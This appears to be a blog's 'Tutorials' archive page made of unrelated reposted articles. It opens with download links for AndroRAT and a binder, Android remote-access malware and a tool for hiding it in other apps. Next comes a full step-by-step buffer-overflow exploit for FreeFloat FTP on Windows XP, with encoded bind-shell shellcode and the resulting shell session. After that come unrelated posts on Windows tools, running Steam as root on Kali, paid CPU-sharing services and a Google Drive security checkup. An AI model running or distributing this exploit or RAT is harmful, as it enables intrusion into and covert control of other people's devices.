Category Archives: Tutorials

Android RAT Full Setup + Clean Download + Port Forwarding

NOTE: Following materials are for EDUCATIONAL PURPOSES ONLY! HaCoder won’t take response for your actions!

Download AndroRAT: http://www.mediafire.com/download/qd53v0xx5ll1hfb/Androrat+by+Laceratus.zip

Download Binder: http://www.mediafire.com/download/akjmxb5nor9r2c9/AndroRat+Binder.exe

 

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My First Buffer Overflow Exploit

Saved Return Pointer Overflows

For our first buffer overflow exploit we will be starting with the most straight forward scenario where we have a clean EIP overwrite and one of our CPU registers points directly to a large portion of our buffer. For this part we will be creating an exploit from scratch for ”FreeFloat FTP”. You can find a list of several exploits that were created for ”FreeFloat FTP” here.

 

Normally we would need to do badcharacter analysis but for our first tutorial we will rely on the badcharacters that are listed in the pre-existing metasploit modules on exploit-db. The characters that are listed are ”\x00\x0A\x0D”. We need to keep these characters in mind for later.

 

Exploit Development: Backtrack 5/Kali Linux
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download

 

Replicating The Crash

First of all we need to create a POC skeleton exploit to crash the FTP server. Once we have that we can build on it to create our exploit. You can see my POC below, I have based it on the exploits for ”FreeFloat FTP” that I found on exploit-db. We will be using the pre-existing ”anonymous” user account which comes configured with the FTP server (the exploit should work with any valid login credentials).

#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

 

Ok, so far so good, when we attach the debugger to the FTP server and send our POC buffer the program crashes. In the screenshot below you can see that EIP is overwritten and that two registers (ESP and EDI) contain part of our buffer. After analyzing both register dumps ESP seems more promising since it contains a larger chunk of our buffer (I should mention however that creating an exploit starting in EDI is certainly possible).

 

 

Overwriting EIP

Next we need to analyze our crash, to do that we need to replace our A’s with the metasploit pattern and resend our buffer. Pay attention that you keep the original buffer length since a varying buffer length may change the program crash.

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A
y7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc
2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

 

When the program crashes again we see the same thing as in the screenshot above except that EIP (and both registers) is now overwritten by part of the metasploit pattern. Time to let “mona” do some of the heavy lifting. If we issue the following command in Immunity debugger we can have “mona” analyze the program crash. You can see the result of that analysis in the screenshot below.
!mona findmsp

 

From the analysis we can see that EIP is overwritten by the 4-bytes which directly follow after the initial 247-bytes of our buffer. Like I said before we can also see that ESP contains a larger chunk of our buffer so it is a more suitable candidate for our exploit. Using this information we can reorganize the evil buffer in our POC above to look like this:
evil = “A”*247 + “B”*4 + “C”*749
When we resend our modified buffer we can see that it works exactly as we expected, EIP is overwritten by our four B’s.

 

That means that we can replace those B’s with a pointer that redirects execution flow to ESP. The only thing we need to keep in mind is that our pointer can’t contain any badcharacters. To find this pointer we can use “mona” with the following command. You can see the results in the screenshot below.
!mona jmp -r esp

 

 

It seems that any of these pointers will do, they belong to OS dll’s so they will be specific to “WinXP PRO SP3” but that’s not our primary concern. We can just use the first pointer in the list. Keep in mind that we will need to reverse the byte order due to the Little Endian architecture of the CPU. Observe the syntax below.
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = “A”*247 + “\x59\x54\xC3\x77” + “C”*749
I should stress that it is important to document your exploit properly for your own and others edification. Our final stage POC should look like this.

#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

 

Ok lets restart the program in the debugger and put a breakpoint on our pointer so the debugger pauses if it reaches it. As we can see in the screenshot below EIP is overwritten by our pointer and we hit our breakpoint which should bring us to our buffer located at ESP.

 

 

 

Shellcode + Game Over

We are almost done. We need to (1) modify our POC a bit to add a variable for our shellcode and (2) insert a payload that is to our liking. Lets start with the POC, we will be inserting our payload in the part of the buffer that is now made up of C’s. Ideally we would like to have the buffer length modified dynamically so we don’t need to recalculate if we insert a payload with a different size (our total buffer length should remain 1000-bytes). We should also insert some NOP’s (No Operation Performed = \x90) before our payload as padding. You can see the result below. Any shellcode that we insert in the shellcode variable will get executed by our buffer overflow.

#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer +"C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

 

All that remains now is to pop in some shellcode. We will be using msfpayload to generate our shellcode and pipe the raw output to msfencode to filter out badcharacters.

 

root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns     Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp            Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
  
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

unsigned char buf[] = 
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";

After prettifying the code a bit and adding the relevant notes the final exploit is ready.

#!/usr/bin/python
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                   #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                        #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# C:\Documents and Settings\Administrator\Desktop>                                 #
#----------------------------------------------------------------------------------#
import socket
import sys
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                     #
#----------------------------------------------------------------------------------#
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

 

In the screenshot below we can see the before and after output of the “netstat -an” command and below that we have the backtrack terminal output when we connect to our bind shell. Game Over!!

 

root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\Documents and Settings\Administrator\Desktop>

Source:  fuzzysecurity.com

Image Source: img.wonderhowto.com

How to Get the Best Linux Features on Windows?

For many users, Linux isn’t a viable option for everyday work. Some don’t have the time or resources to learn a new OS, while others have a need for functionality only Windows can provide. However, Linux still has a bunch of great features and advantages. Here’s how to get some of them on Windows.

Beef Up Your Window and Desktop Management with Dexpot

How to Get the Best Linux Features on Windows

Out of the box, Windows has only one way of adding a second desktop workspace: buy a second monitor. While that has its advantages, wouldn’t it be handy to separate your workspaces virtually? Many Linux distributions seem to think so and the features come built in to the OS. Fortunately, we can add them to Windows fairly easily.

Dexpot is one of our favorite tools for getting this done. By default, Dexpot gives you multiple desktop spaces so you can spread out your work. You start with four separate workspaces, but you can create more or fewer as you need. The plugins and extras section in the settings of the app allows you to add sweet visuals like a 3D desktop cube (similar to the famous cube in Compiz on Linux).

Dexpot’s usefulness doesn’t end there, though. In addition to creating multiple desktops, you can also use it to manage individual windows. Similar to Mission Control (formerly known as exposé) on a Mac, Dexpot allows you press a keyboard shortcut to view all of your windows at once with the Dexcontrol plugin (enabled by default, but it can use some custom tweaking).

Tile Your Windows More Efficiently with Divvy

Yet another thing Linux distros excel at is tiled window management. Put simply, tiling windows allows you to quickly arrange them side by side or stacked so you can view multiple applications at once. Windows sort of does this natively by allowing you to snap a window to the left or right half of the screen. Any other configuration, however, is right out.

Divvy can be invoked with a quick keyboard shortcut and allows you to scale a window based according to a predefined grid. It’s flexible enough to allow for a wide range of layouts without requiring a bunch of work upfront to define where you want windows to go first. It certainly beats trying to catch the corner of your browser and arbitrarily drag it wherever.

Make a More Powerful Dock with ObjectDock

How to Get the Best Linux Features on Windows

Prior to Windows 7, the taskbar was kinda crummy. The new one is actually so good that many of you found it to be your favorite. That doesn’t make it perfect, though. One alternative if you want something with a little more flair and a lot more customization is ObjectDock.

ObjectDock adds an animated dock to Windows. OS X and Ubuntu, along with several other Linux distributions use similar features. Since Windows 7, the standard dock isn’t as wildly different from apps like ObjectDock as they older versions used to be, but they still offer some advantages like creating tabbed docks, allowing you to organize app shortcuts. You can also open files by dragging them to the app in the dock, and it includes some more attractive animations. If you’re not willing to spend $10 on ObjectDock, the classic RocketDock offers similar functionality.

Create a Central Notification System with Growl

How to Get the Best Linux Features on Windows

Windows has a pretty disjointed notification system. In fact, many apps like Chrome avoid using Windows notifications altogether and opt to build their own system instead. While some may be worth keeping around (Chrome’s notifications are pretty useful), Growl for Windows can manage just about everything else.

Growl uses an assortment of plugins, userscripts, and extensions to intercept extensions from your regular apps. Unfortunately it can’t just grab them all. However, extensions like Checker Plus for Gmail or Google Calendar can send messages directly to Growl. You can then customize what types of notifications you get, how long they last, and even forward them on to your phone.

Get a UNIX-Like Command Line with Cygwin

How to Get the Best Linux Features on Windows1

The command line is one of the most powerful, yet under-utilized tools in Windows that everyone should master. It’s still not perfect, though. If you’re coming over from Linux, or you just want to learn some of the more universal Unix-based commands (most of which work on both Linux and OS X systems),Cygwin is where you want to get started.

We’ve written an intro guide to Cygwin before, but for the uninitiated, Cygwin is a Windows command line utility that’s adapted to be familiar to Linux users. Here, you can use Linux-native commands. For super basic tasks, this won’t amount to much beyond replacing the “dir” command with “ls”, but it simplifies working with cross-platform apps and instructions. For example, if you were using Todo.txt, the command-line integrated to-do list app created by Lifehacker founder Gina Trapani, your commands would be much more similar to the Linux version.

Cygwin is more than just an app, though. Because it integrates the vast library of commands and packages directly into the Windows command line, you can use any terminal emulator you like and still have access to your new powers. As we’ve discussed before, Console and Mintty emulate more powerful, Linux-style terminals. Console is particularly neat due to its tabbed interface, allowing you to jump between multiple locations and tasks without creating whole new command line windows.

Get a Command Line Package Manager with Chocolatey

Linux users are used to being able to install apps directly from the command line with a simple string of text. Compared to the convoluted method of installing apps on Windows that tends to start with a Google search and end with dodging fake download buttons, package managers are pretty nifty. Enter Chocolatey, to help simplify the process.

Chocolatey is a package manager for Windows that lists over 1800 programs in its database, all of which can be installed or updated from a single terminal command. Chocolately even integrates with Cygwin, so you can install Chrome, Firefox, VLC, CCleaner, Dropbox, Skype, or hundreds of other apps by simply typing clist [appname].

Remap Your Entire Keyboard with Autohotkey

Many Linux distributions come with built in key mappers like XKB. In the Windows camp, our favorite scripting tool, Autohotkey, allows you to perform many of the same functions. You can use a single line to reassign any button to another key or combination of keys. You can also get fancy and use AHK’s scripting powers to do more complex actions like turning your Caps Lock key into a dedicated web search button, or programming your middle-click button paste your clipboard contents (yet another great feature of Linux).

Create a Portable Windows Installation with WinToUSB

How to Get the Best Linux Features on Windows

Undeniably, one of the biggest advantages of Linux is that you don’t necessarily need to wipe out your entire system to run it. Live CDs and USB installations of popular Linux distributions have existed for nearly as long as their respective mediums have. Windows isn’t quite as flexible, but WinToUSB allows you to create a portable Windows installation you can run from a USB hard drive drive. You can check out our guide here with the full instructions on how to set this up.

Find Great, Free, Open Source Software

How to Get the Best Linux Features on Windows

One of Linux’s greatest advantages, of course, is the bevy of free and open source software available. You probably know this already, but it bears repeating: Windows has quite a bit of great open source software too, including many of the same apps that you can get on Linux (like Pidgin, GIMP, LibreOffice, and [obviously] Firefox).

Plus, if you’re ever looking for a good piece of software and want something open source, Osalt (short for “open source alternative”) finds the best free and open counterparts to your favorite apps. While it’s very useful for Linux converts, Osalt knows no platform. Windows and OS X users can all find listings for their OS.

Even if you’re already comfortable with your apps of choice, it’s still worth taking a look. For example, we all know GIMP is available on Windows, but by searching for alternatives, you’ll also find GIMPshop, one of our favorite apps that makes GIMP’s interface easier and more familiar to use. If you want to narrow your search even further, you can check out Open Source Windows, which lists a few essential apps—as well as our list of the 50 free apps we’re thankful for, which includes many open source programs.

Source:http://lifehacker.com

Install Steam on Kali Sana

Well I had a hell of a time installing Steam on Kali Linux. I got it up and going and figured I would make a guide on getting it up and running fast with a root account none of this was really my work but I had to use a few other people’s are work and I have noted where I have found it at as they deserve the credit. Also note you will have to figure out how to install your own restricted drivers if you want your video card to run optimal but I have faith in you to figure that out.

Step 1:

Install Code-Jokey before you start as it is required and makes it run a little better. Credits are in the Script.

#!/bin/bash
#inspired by kochd’s script
# installs equivs which is used to generate fake packages
sudo apt-get install equivs# creates a file called ‘tmp’
> tmp# appends package info to tmp
echo ”
Package: jockey-common
Priority: optional
Section: admin
Installed-Size: 728
Maintainer: Martin Pitt <martin.pitt@ubuntu.com>
Architecture: all
Source: jockey
Version: 0.9.7-0ubuntu7
Depends: bash,
Description: user interface and desktop integration for driver management
Jockey provides a user interface for configuring third-party drivers,
such as the Nvidia and ATI fglrx X.org and various Wireless LAN
kernel modules.
.
This package contains the common data shared between the frontends.
Python-Version: 2.7” >> tmp

# builds fake package
equivs-build tmp
# installs fake package
sudo dpkg -i jockey-common_0.9.7-0ubuntu7_all.deb

rm tmp jockey-common_0.9.7-0ubuntu7_all.deb

 

Step 2:

Download the edited client:

In Terminal

dpkg –add-architecture i386

apt-get update

wget https://github.com/GhostSquad57/Steam-Installer-for-Wheezy/raw/master/steam-debian_1.0.0.43-2_all.deb
sudo dpkg -i steam-debian_1.0.0.43-2_all.deb

Step 3:

Run it as Root

Browse to /usr/bin/
find steam and edit the file and in the middle area find this

# Don’t allow running as rootif [ “$(id -u)” == “0” ]; then
show_message –error $”Cannot run as root user”
exit 1
fi

and replace the 0 with a 1 like this

# Don’t allow running as root
if [ “$(id -u)” == “1” ]; then
show_message –error $”Cannot run as root user”
exit 1
fi

Well if you liked this please comment …

Source: techienewsnetwork.com

 

Earn Money By Keeping Your PC ON

If I will tell you that you can make money while sleeping or without doing just anything, will you beleive? Obviously NOT. There are thousands of scams available in internet world who harnesssed this sentence to deceive longing users so much that no one want to trust if there are really some ways to make money online without just doing doing anything.

But, we created to serve you real, working and powerful tricks to make your life easier, and not to deceive you in any manner. So, today we are telling you some real ways to make money online by just turning your PC ON and sit back.

Make Money Onilne - While Sleeping

How is this possible?

Yeah, this is an obvious question arising in your mind. And, we’re really happy to have this question in your mind. Well, the services here I am going to share uses idle time of your CPU and pays you for the same. They’re not paying you for free but paying to use your CPU’s computation power.

So, even if you are not putting any extra effort to make money in this way, you’re actually helping companies by providing your CPU’s computaion power and they’re paying you for the same. No worries, you’ll not get paid for free.

😛

Let your PC make money for you

Without taking much of your time, I am serving you the trusted services which actually pays you for giving your CPU’s idle time.

1. Gomez PEER

Gomez PEER is a distributed computing software and the most popular service people use to share there CPU’s idle time and make some money. The website provides you a secure java application that runs in backgrond and use your system’s unused resources such as processing power, RAM, bandwith to test the performance of many of world’s most popular websites.

71There are over 150,000 individuals who are using this service to make money. Sign up for free and help Gomez PEER to make internet a faster, more reliable tool while making money on your side.

2. Slicify

Slicify is another trusted platform to sell your computer power and make some money. If you have a Windows PC, you’re good to go. Just sign up for free, download its free Windows software to rent out your PC on Internet when you’re not using it. When someone wants to use your computer, they book it through Slicify and pay you to rent it, anywhere from a few cents to a dollar an hour.

slicify

3. CoinBeez

CoinBeez is another cool startup which uses the similar approach to help some of their users to make money while some others to use other computer’s CPU to perform severe computing task. According to CoinBeez, they’re building a supercomputer for which 15,000+ users are providing them CPU power, they obviously pay for this. They rent their processing power which they’ve collected to other companies.

4. Digital Generation

Similar to other service, this startup also uses your computer’s idle time. As like normal computer software, you install Digital Generation’s software. Now, run this application and sit back. The app will run in backgound while using your computer’s resources. You will not notice and performance decrement. All you’ll notice is “money increased in your wallet”.

5. IPU Services

Idle Processor Utilization Service is available on Internet from a long time, giving users reason to keep their PC idle instead of turning it OFF after completing task. The service has crosses over 100k users base. You EARN MONEY by simply downloading its Process Software, then leaving your computer on. That’s it.

No purchase is necessary at all for you to earn money. Simply Register (below), and download the process software. That’s it.

IPU

6. MQL 5 – Distributed Cloud Network

Directly from MQL5: “Today’s computers spend most of their time idle and do not use all the features of their CPU. Now you can benefit from the spare power of your PC.

You can sell your computer’s CPU time to other members of our network community for a variety of tasks like optimizing Expert Advisors optimization or developing mathematical models.”

mql 5

7. RUBLIK

Get paid doing nothing by joining RUBLIK passive income program. This service perform GPU mining (bitcoin mining) and use your CPU for the same. If you’re not familiar with the words just google “GPU mining” or “Bitcoin Mining” or read relevant articles on wikipedia.

Payment: $0.07 for 1000 solutions (no need to do anything, just turn on the software).

RUBLIK

Conclusions

All of these services are popular and trusted. You can use those services which suits you better. Many people are earning passive income using this way to make money. So, it would be great for you to test any of these services check if you really get benifited or not.

By the way, you don’t always required to sit back

😉 you can perform other tasks on your PC like browsing website, playing games, completing projects, etc. All above services uses applications which runs in background.

Source: techgyd.com

 

How to Get 2GB Free Google Drive Space by Checking Security Settings

websites and devices connected to my Google account. If you find any website unfamiliar and untrusted, remove those.

After completing these steps I saw green checks on three checkboxes, which confirmed my eligibility for free storage, I was taken to a summary page.

 

 

How to Get 2GB Free Google Drive Space by Checking Security Settings

hacking goolge users
Why is Google giving you free Drive space?

On the occasion of Safer Internet Day, Google is giving away a bit of extra Google Drive space to you if you are willing to complete a quick security checkup.

The tech giant is providing this opportunity to grab a 2GB of permanent space to motivate you to check your security settings. Google will give this Drive space to everyone who completes its security checkup within next week.

 

Where to get the free space?

To get this free space go to this link: Security Checkup

google-drive-free-space
You will be greeted with a message: “Time for your security checkup.” I was prompted to check my recovery information in the first step which included my recovery phone number, email, and the security question. Then I was made to check my Google account sign-in for suspicious log in and I was shown my account details.

The next step was checking my Google account sign-in for suspicious log in and I was shown my account log-in from recently logged devices.

Final step was enabling or disabling access for less secure apps. I preferred not to turn this off because signing in apps and devices via this option is more convenient. I was then taken to the reviewing process of apps, websites and devices connected to my Google account. If you find any website unfamiliar and untrusted, remove those.

After completing these steps I saw green checks on three checkboxes, which confirmed my eligibility for free storage, I was taken to a summary page.

Google has said that it’ll be granting free Google Drive space to everyone who took these security steps automatically to everyone around 28 February 2015 and people will be sent a confirmation email.

Google Drive blog writes that it is safe and advised to revisit this checkup often, like when you replace your old devices.

Is everyone eligible for free storage on Google Drive?

Google Apps for Education and Google Apps for Work users are not eligible for free storage, but it is advised to take up this security checkup.

What is Safer Internet Day anyway?

Safer Internet Day (SID) is organised by Insafe in February of each year to promote more responsible and safer use of internet, online technology and smartphones. This event is focussed especially on children and young people.

Source:fossBytes